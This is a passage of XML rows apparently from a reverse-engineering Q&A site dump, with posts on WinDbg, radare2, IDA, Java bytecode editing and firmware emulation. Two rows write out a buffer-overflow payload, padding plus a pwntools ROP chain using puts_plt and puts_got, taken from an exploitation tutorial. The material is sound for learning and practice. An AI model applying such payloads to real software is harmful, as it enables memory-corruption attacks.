here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note that disassemble code backwards is not straightforward as x86 code doesn't have constant length opcodes.&lt;br&gt;&#xA;Also note that this solution requires more code, expanding the function size by (probably) a lot.&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastEditorDisplayName="user22970" LastEditDate="2018-12-28T18:59:16.527" LastActivityDate="2018-12-28T18:59:16.527" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19750" PostTypeId="2" ParentId="19747" CreationDate="2018-10-29T12:02:55.850" Score="1" Body="&lt;p&gt;It is just a function that perform a simple addition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int add(int *i, int *j)&#xA;{&#xA;  return *i + *j;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-10-30T09:43:46.950" LastActivityDate="2018-10-30T09:43:46.950" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19752" PostTypeId="1" CreationDate="2018-10-29T14:33:33.213" Score="1" ViewCount="93" Body="&lt;p&gt;I need to set a break point when a specific module address space is being overwritten? I need to specify this by module name not address space&lt;/p&gt;&#xA;" OwnerUserId="26171" LastActivityDate="2018-10-29T18:08:02.497" Title="Windbg Break Points" Tags="|windbg|hooking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19753" PostTypeId="2" ParentId="19752" CreationDate="2018-10-29T18:08:02.497" Score="1" Body="&lt;p&gt;i cant understand what your usecase is &#xA;assuming you have some  code like this running and you want to break when some thing is written to some space  you can use ba (hardware assisted breakpoint ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code for demo it writes randomly the @ sign in a space of 0x2000 bytes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;time.h&amp;gt;&#xA;char randritebuff[0x2000];&#xA;int main (void) {&#xA;    srand( (unsigned int)time(nullptr));&#xA;    for(;;) {&#xA;    int writeaddr = ((rand() % 0x1fff)+1);&#xA;    randritebuff[writeaddr] = 0x40;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assuming you are interested in seeing only when it writes at the 1337th&lt;br&gt;&#xA;byte from the start of buffer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can employ a breakpoint with module names as well as symbols for the buffer if they are available in windbg like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00eb102e c682d198ef0040  mov byte ptr randrite!randritebuff+0x1 (00ef98d1)[edx],40h ds:0023:00efacd9=00&#xA;&#xA;0:000&amp;gt; ba w1 randrite!randritebuff+0x1337  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; &#xA;0:000&amp;gt; bl&#xA;     0 e Disable Clear  00efac07 w 1 0001 (0001)  0:**** randrite!randritebuff+0x1337&#xA;&#xA;0:000&amp;gt; ? randrite!randritebuff&#xA;Evaluate expression: 15702224 = 00ef98d0&#xA;&#xA;0:000&amp;gt; ? 00ef98d0+1337&#xA;Evaluate expression: 15707143 = 00efac07&#xA;&#xA;0:000&amp;gt; g&#xA;Breakpoint 0 hit&#xA;eax=00000003 ebx=7ffdf000 ecx=00007333 edx=00001336 &amp;lt;&amp;lt; &#xA;a hardware breakpoint break with eip @ + 1  (00eb102e + sizeof(c682d198ef0040))&#xA;&#xA;00eb1035 &amp;lt;&amp;lt; ebef            jmp     randrite!main+0x16 (00eb1026)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a screenshot below &lt;a href=&quot;https://i.stack.imgur.com/nJ57R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJ57R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-10-29T18:08:02.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19754" PostTypeId="1" AcceptedAnswerId="19779" CreationDate="2018-10-30T00:03:36.743" Score="3" ViewCount="1069" Body="&lt;p&gt;for a C/C++ program compiled on windows using the x86 architecture, what is the best way to find the main function within disassembled code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found various answers to questions similar to this, but they're answering questions that are far more specific to the OPs use-case. Is there any standard or go-to method for locating the main function when looking at disassembled code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm new to disassembly / reverse engineering. If I'm saying something that doesn't quite make sense, all clarification is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="25993" LastEditorUserId="25993" LastEditDate="2018-10-30T00:09:19.597" LastActivityDate="2018-11-01T10:14:36.897" Title="Finding the main function without symbols" Tags="|disassembly|windows|x86|c++|c|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19758" PostTypeId="1" CreationDate="2018-10-30T16:39:44.750" Score="0" ViewCount="1472" Body="&lt;p&gt;I'm trying to reverse engineer a very complex &lt;code&gt;.exe&lt;/code&gt; to alter its behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ran &lt;a href=&quot;https://github.com/katjahahn/JWScan&quot; rel=&quot;nofollow noreferrer&quot;&gt;JWScan&lt;/a&gt; that tells me it's been wrapped with Jar2Exe (which I also saw during debugging).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the complex exe with the Task Manager, it seems like it spawns 4 child threads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k4BER.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k4BER.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likely, it's an application that controls some HTML/JavaScript browsers through Java: indeed, I can see all the HTML/JS files in a resources folder, but the logic is still in the exe/Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multithreading makes it a pain to debug with x64dbg (combined with the fact that I can't really read machine code): haven't been able to pinpoint the part of the code I'm looking for in 2 days, even while comparing it with the same exe debugged in a vm (wanted behavior in vm, unwanted behavior in host: compare and find the difference) and even though it triggers writings to a log file I can monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, today I tried the obvious: WinRAR extract the .exe. That gives me some .class files that can be decompiled in CFR and read (no obfuscation). One of these .class files happen to have the code I'm looking for. Being able to edit just a few bits of this .class file would be sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the amount of missing code is massive: there are imports to classes that are not there. Recompiling the code is not possible since, I assume, the compiler would need all the referenced imports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I proceed? Is there any way to pinpoint the location of .class into the .exe and edit it? Or to reflect changes made to the .class into the .exe?&lt;/p&gt;&#xA;" OwnerUserId="26190" LastActivityDate="2018-10-31T10:02:34.653" Title=".exe file to .class, decompiled to .java, how to put back to .class?" Tags="|java|x64dbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19759" PostTypeId="1" AcceptedAnswerId="19760" CreationDate="2018-10-30T21:12:11.630" Score="2" ViewCount="185" Body="&lt;p&gt;I was just looking at the &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Megabeets tutorial again&lt;/a&gt;, and it he has,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pd $r @ main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see the the &lt;code&gt;$r&lt;/code&gt; explained anywhere though. What does &lt;code&gt;$r&lt;/code&gt; do in that? It's also not explained in &lt;code&gt;pd?&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-30T21:27:17.650" LastActivityDate="2018-10-30T22:50:51.873" Title="What does the `$r` do in `pd $r`?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19760" PostTypeId="2" ParentId="19759" CreationDate="2018-10-30T22:50:51.873" Score="4" Body="&lt;p&gt;&lt;code&gt;$r&lt;/code&gt; is one of the variables available in radare2. More specifically, &lt;code&gt;$r&lt;/code&gt; is a variable which holds the height of the console. This command is shown on Visual Disassembly mode (&lt;code&gt;Vp&lt;/code&gt;) and usually is not executed by the user. The command is used by the mode in order to show &lt;em&gt;N&lt;/em&gt; instructions from the binary where &lt;em&gt;N&lt;/em&gt; is the height of the console (number of lines). This provides the user with a better, and more interactive, reverse engineering experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show the full list of variables you can use the command &lt;code&gt;?$?&lt;/code&gt;. Here is a truncated list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000008cc]&amp;gt; ?$?&#xA;Usage: ?v [$.]&#xA;| flag          offset of flag&#xA;| $$            here (current virtual seek)&#xA;| $$$           current non-temporary virtual seek&#xA;| $?            last comparison value&#xA;| $alias=value  alias commands (simple macros)&#xA;| $b            block size&#xA;...&#xA;| $c,$r         get width and height of terminal&#xA;...&#xA;| $l            opcode length&#xA;| $m            opcode memory reference (e.g. mov eax,[0x10] =&amp;gt; 0x10)&#xA;| $M            map address (lowest map address)&#xA;| $MM           map size (lowest map address)&#xA;| $o            here (current disk io offset)&#xA;| $p            getpid()&#xA;| $P            pid of children (only in debug)&#xA;| $s            file size&#xA;| $S            section offset&#xA;| $SS           section size&#xA;...&#xA;| ${ev}         get value of eval config variable&#xA;| $r            get console height&#xA;| $r{reg}       get value of named register&#xA;| $k{kv}        get value of an sdb query value&#xA;| $s{flag}      get size of flag&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-10-30T22:50:51.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19763" PostTypeId="2" ParentId="19758" CreationDate="2018-10-31T01:22:43.440" Score="1" Body="&lt;p&gt;I would recommend using a Java bytecode disassembler/assembler pair like &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt;. You will have to learn how Java bytecode works, but the advantage is that it works even for obfuscated applications. By editing directly at the bytecode level, you can make changes without worrying about missing imports or non-Java features or compiler or decompiler bugs or anything like that.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-10-31T01:22:43.440" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19764" PostTypeId="1" AcceptedAnswerId="19768" CreationDate="2018-10-31T02:19:04.233" Score="0" ViewCount="144" Body="&lt;p&gt;On the &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial by Megabeets, &lt;em&gt;&quot;A journey into Radare 2 – Part 2: Exploitation&quot;&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483d0]&amp;gt; dmi libc puts~&amp;amp;GLOBAL, puts:0&#xA;532 0x000fdd60 0xf7e0bd60 GLOBAL   FUNC 1181 putspent&#xA;&#xA;[0x080483d0]&amp;gt; dmi libc system~&amp;amp;GLOBAL, system:0&#xA;&#xA;[0x080483d0]&amp;gt; dmi libc exit~&amp;amp;GLOBAL, exit:0&#xA;147 0x000303d0 0xf7d3e3d0 GLOBAL   FUNC   33 exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can only see &lt;code&gt;exit&lt;/code&gt; on my sistem. Neither the location of &lt;code&gt;system&lt;/code&gt; nor &lt;code&gt;puts&lt;/code&gt; shows with &lt;code&gt;dmi&lt;/code&gt;. The search for &lt;code&gt;puts&lt;/code&gt; shows &lt;code&gt;putsspent&lt;/code&gt; and the search for &lt;code&gt;system&lt;/code&gt; returns nothing.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-31T02:53:07.453" LastActivityDate="2018-10-31T07:00:01.827" Title="`dmi libc puts~GLOBAL` does not show puts, just putspent?" Tags="|radare2|libc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19765" PostTypeId="2" ParentId="19764" CreationDate="2018-10-31T02:37:15.740" Score="0" Body="&lt;p&gt;They're apparently not just &lt;code&gt;GLOBAL&lt;/code&gt;, as the &lt;code&gt;dmi&lt;/code&gt; command would leave you to believe,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1510 0x0003d200 0xf7d55200   WEAK   FUNC   55 system&#xA;454  0x00067b40 0xf7d7fb40   WEAK   FUNC  474 puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And they're not &lt;code&gt;GLOBAL&lt;/code&gt; in Megabeet tutorial either, so I think it's a typo,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first the &lt;code&gt;~&amp;amp;GLOBAL&lt;/code&gt; looks like it would work,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483d0]&amp;gt; dmi libc puts~&amp;amp;GLOBAL, puts:0&#xA;vaddr=0xf758f710 paddr=0x00062710 ord=6490 fwd=NONE sz=474 bind=GLOBAL type=FUNC name=puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in this one, there is no match for &lt;code&gt;GLOBAL&lt;/code&gt;, his &lt;code&gt;system&lt;/code&gt; is &lt;code&gt;WEAK&lt;/code&gt; (like mine),&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483d0]&amp;gt; dmi libc system~&amp;amp;GLOBAL, system:0&#xA;vaddr=0xf7569060 paddr=0x0003c060 ord=6717 fwd=NONE sz=55 bind=WEAK type=FUNC name=system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, in this one, his &lt;code&gt;exit&lt;/code&gt; is &lt;code&gt;LOCAL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483d0]&amp;gt; dmi libc exit~&amp;amp;GLOBAL, exit:0&#xA;vaddr=0xf755c180 paddr=0x0002f180 ord=5904 fwd=NONE sz=33 bind=LOCAL type=FUNC name=exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a follow up question, see&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://unix.stackexchange.com/q/478795/3285&quot;&gt;Why are some libc symbols WEAK and others GLOBAL?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-31T02:49:55.647" LastActivityDate="2018-10-31T02:49:55.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19766" PostTypeId="2" ParentId="19282" CreationDate="2018-10-31T03:02:37.677" Score="0" Body="&lt;p&gt;The headers for &lt;code&gt;iz&lt;/code&gt; have since been added back&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Strings]&#xA;Num Paddr      Vaddr      Len Size Section  Type  String&#xA;000 0x00000850 0x00000850  20  21 (.rodata) ascii \n  .:: Megabeets ::.&#xA;001 0x00000865 0x00000865  22  23 (.rodata) ascii Think you can make it?&#xA;002 0x0000087c 0x0000087c   9  10 (.rodata) ascii Success!\n&#xA;003 0x00000886 0x00000886  21  22 (.rodata) ascii Nop, Wrong argument.\n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-10-31T03:02:37.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19767" PostTypeId="1" AcceptedAnswerId="20535" CreationDate="2018-10-31T06:21:51.080" Score="0" ViewCount="488" Body="&lt;p&gt;IDA v7 shows decompilation failure in 64bit &lt;code&gt;ntoskrnl.exe&lt;/code&gt; file of Windows 10 build 18262. Here is an example of that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g3Qas.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g3Qas.png&quot; alt=&quot;decompilation_faliure&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've loaded all the needed type libraries, PDB file, kernel mode header files (wdm.h, ntddk.h, ntdef.h etc.). But it doesn't change anything with that errors. The assembly is simple to translate. I found the error may be related to &lt;code&gt;END OF FUNCTION CHUNK FOR NtQueryInformationProcess&lt;/code&gt; comment. Here is the example assembly in &lt;code&gt;ntoskrnl.exe&lt;/code&gt; PAGE segment where IDA shows that warning:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rdx, cs:140000000h&#xA;mov     eax, ds:(off_1405DF7E4 - 140000000h)[rdx+rbx*4]&#xA;add     rax, rdx&#xA;jmp     rax         ; failed here &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;What can I do to remove this error? If you need any further information I can add that in this question. &lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2019-02-02T18:03:58.287" LastActivityDate="2019-02-02T21:39:53.480" Title="Multiple decompilation failure with ntoskrnl" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19768" PostTypeId="2" ParentId="19764" CreationDate="2018-10-31T07:00:01.827" Score="2" Body="&lt;p&gt;This is right, and it was caused by using the wrong grep (the &lt;code&gt;~&lt;/code&gt; character) in the article. This was due the fact that the output of &lt;code&gt;dmi libc&lt;/code&gt; is different on different machines and also, the syntax of the &lt;code&gt;dmi&lt;/code&gt; output was changed. The grep you showed (&lt;code&gt;~&amp;amp;GLOBAL, exit:0&lt;/code&gt;) is indeed wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grep is there, for the first place, in order to filter functions that contain in them, the name of the function we are searching for (i.e puts, exit, system). This way, the reader could narrow down the results and keep only the relevant functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with a better, more elegant, solution for the grep:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f99e22006a0]&amp;gt; dmi libc puts~ puts$&#xA;422 0x000809c0 0x7f99e1a809c0   WEAK   FUNC  512 puts&#xA;&#xA;[0x7f99e22006a0]&amp;gt; dmi libc exit~ exit$&#xA;132 0x00043120 0x7f99e1a43120 GLOBAL   FUNC   26 exit&#xA;&#xA;[0x7f99e22006a0]&amp;gt; dmi libc system~ system$&#xA;1403 0x0004f440 0x7f99e1a4f440   WEAK   FUNC   45 system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that the user would get the expected results, and them only.&#xA;This is now fixed in the article itself.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-10-31T07:00:01.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19771" PostTypeId="2" ParentId="19758" CreationDate="2018-10-31T10:02:34.653" Score="0" Body="&lt;p&gt;In addition to what Antimony mentioned, you may also consider using &lt;a href=&quot;http://set.ee/jbe/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java Bytecode Editor&lt;/a&gt;. I've had success with this in the past.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2018-10-31T10:02:34.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19774" PostTypeId="1" CreationDate="2018-10-31T20:23:48.723" Score="1" ViewCount="906" Body="&lt;p&gt;When running a remote debugger to a linux server, is there a way to get IDA (7.0) to properly handle strings? When I go to the pseudocode view, I get things like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v7 = sub_804AD60((std::string *)&amp;amp;v16);&#xA;char *v5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So clearly IDA has some handling of string types, and it's able to infer that one of these is a C++ string and the other a pointer to a C string. What I can't figure out is how to get that string? I've been searching for a locals window or something in the debugger with no luck, and hovering over &lt;code&gt;v16&lt;/code&gt; gets an &lt;code&gt;int v16&lt;/code&gt; with a memory address value. Surely there's some way to just get the actual string value of &lt;code&gt;v16&lt;/code&gt; or &lt;code&gt;v5&lt;/code&gt; in plain old ASCII or UTF-8 without having to dig it out of the hex view?&lt;/p&gt;&#xA;" OwnerUserId="26204" LastEditorUserId="245" LastEditDate="2018-10-31T21:14:15.307" LastActivityDate="2018-10-31T21:14:15.307" Title="IDA 7 handling strings in debugger pseudocode" Tags="|ida|x86|decompilation|c++|hexrays|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19775" PostTypeId="1" CreationDate="2018-10-31T21:09:49.050" Score="1" ViewCount="173" Body="&lt;p&gt;I'm trying to modify the FPGA firmware for the Blackmagic Pocket Camera. The camera's 60fps function is disabled. The sensor can handle 100fps. Blackmagic only provides Max. 30fps. So there is more to it than offered by Blackmagic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;*.bin&lt;/code&gt; files can be found in the Blackmagic Camera Setup and only there. In all other versions the &lt;code&gt;*.bin&lt;/code&gt; files are not to be found. It concerns the following files: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1VBD7E-E-8eVjextm0Z2AjaX7u3NKRPEF/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1VBD7E-E-8eVjextm0Z2AjaX7u3NKRPEF/view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FPGA chip is Spartan 6 from Xilinx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to extract the firmware, then modify it and pack it back as firmware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope for some tips.&lt;/p&gt;&#xA;" OwnerUserId="26202" LastEditorUserId="245" LastEditDate="2018-10-31T21:16:29.130" LastActivityDate="2019-03-06T13:08:02.207" Title="Blackmagic Pocket Firmware Modifikation" Tags="|fpga|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19776" PostTypeId="1" AcceptedAnswerId="19778" CreationDate="2018-10-31T23:32:53.977" Score="1" ViewCount="12187" Body="&lt;p&gt;On the &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial by Megabeets, &lt;em&gt;&quot;A journey into Radare 2 – Part 2: Exploitation&quot;&lt;/em&gt;&lt;/a&gt;, he shows an example of how to create a payload with Python2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Initial payload&#xA;payload  =  &quot;A&quot;*140 # padding&#xA;ropchain =  p32(puts_plt)&#xA;ropchain += p32(entry_point)&#xA;ropchain += p32(puts_got)&#xA;&#xA;payload = payload + ropchain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would that get ported to Python3? &lt;code&gt;p32&lt;/code&gt; is a 32bit integer. Python3 uses &lt;code&gt;bytes()&lt;/code&gt; instead of strings. What's the right way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;python3-pwntools&lt;/code&gt;'s docs show that there are some &lt;a href=&quot;https://python3-pwntools.readthedocs.io/en/latest/fmtstr.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;payload helpers&lt;/a&gt;. But, I couldn't get them to work. Worse yet, those helpers &lt;a href=&quot;http://docs.pwntools.com/en/stable/fmtstr.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;were available in Python2 as well&lt;/a&gt;, but not used (not sure why).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I write Megabeet's example using &lt;code&gt;python3-pwntools&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2020-04-05T16:54:51.783" Title="What is the right way to pack a payload with Python3's pwntools" Tags="|python|pwntools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19778" PostTypeId="2" ParentId="19776" CreationDate="2018-11-01T09:38:41.153" Score="2" Body="&lt;p&gt;Actually, this is a programming question and not an RE question. Anyway, you simply need to tell python to treat your payload as bytes by adding the bytes-literal &lt;code&gt;b&lt;/code&gt; before the &lt;code&gt;'A'*140&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from pwn import *&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&amp;gt;&amp;gt;&amp;gt; puts_plt = 0x8048390&#xA;&amp;gt;&amp;gt;&amp;gt; puts_got = 0x804a014&#xA;&amp;gt;&amp;gt;&amp;gt; entry_point = 0x80483d0&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&amp;gt;&amp;gt;&amp;gt; payload  =  b'A' * 40   # Only 40 for the example&#xA;&amp;gt;&amp;gt;&amp;gt; ropchain =  p32(puts_plt)&#xA;&amp;gt;&amp;gt;&amp;gt; ropchain += p32(entry_point)&#xA;&amp;gt;&amp;gt;&amp;gt; ropchain += p32(puts_got)&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&amp;gt;&amp;gt;&amp;gt; payload = payload + ropchain&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&amp;gt;&amp;gt;&amp;gt; print(payload)&#xA;b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x83\x04\x08\xd0\x83\x04\x08\x14\xa0\x04\x08'&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For further reading, you can read the &lt;a href=&quot;https://docs.python.org/3/reference/lexical_analysis.html#strings&quot; rel=&quot;nofollow noreferrer&quot;&gt;String and Bytes literals&lt;/a&gt; page in the Python3 documentation.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-01T09:38:41.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19779" PostTypeId="2" ParentId="19754" CreationDate="2018-11-01T10:14:36.897" Score="2" Body="&lt;p&gt;If the application is a GUI, usually there are 4 arguments that will push to the stack and a call to an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PfskC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PfskC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For console application, it has 3 arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vYYpw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vYYpw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still, it must be depend upon the compiler. I hope it help you. &lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2018-11-01T10:14:36.897" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19780" PostTypeId="1" AcceptedAnswerId="19785" CreationDate="2018-11-01T14:39:21.997" Score="9" ViewCount="9417" Body="&lt;p&gt;I'm thinking about reverse engineering a few router models and trying to get them running with QEMU. In particular I'm trying to get the web server running. The current issue I'm thinking might be a problem is if the router's firmware is trying to use a physical device that QEMU doesn't emulate by default. My main goal is to emulate various routers' firmware and be able to connect to their webservers. Do any members of the reverse engineering community have a general guide to emulating routers with QEMU? &lt;/p&gt;&#xA;" OwnerUserId="25873" LastEditorUserId="1413" LastEditDate="2018-11-01T18:35:58.953" LastActivityDate="2018-11-01T18:35:58.953" Title="Emulating Routers and other Embedded Devices with QEMU" Tags="|firmware|static-analysis|dynamic-analysis|qemu|emulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19781" PostTypeId="2" ParentId="13720" CreationDate="2018-11-01T15:17:59.190" Score="1" Body="&lt;p&gt;What I found out about the firmware and hardware on these identical systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are in fact not identical. There is a hardware difference in the LCD used. This is the reason the older firmware did not work.&lt;/p&gt;&#xA;" OwnerUserId="13785" LastActivityDate="2018-11-01T15:17:59.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
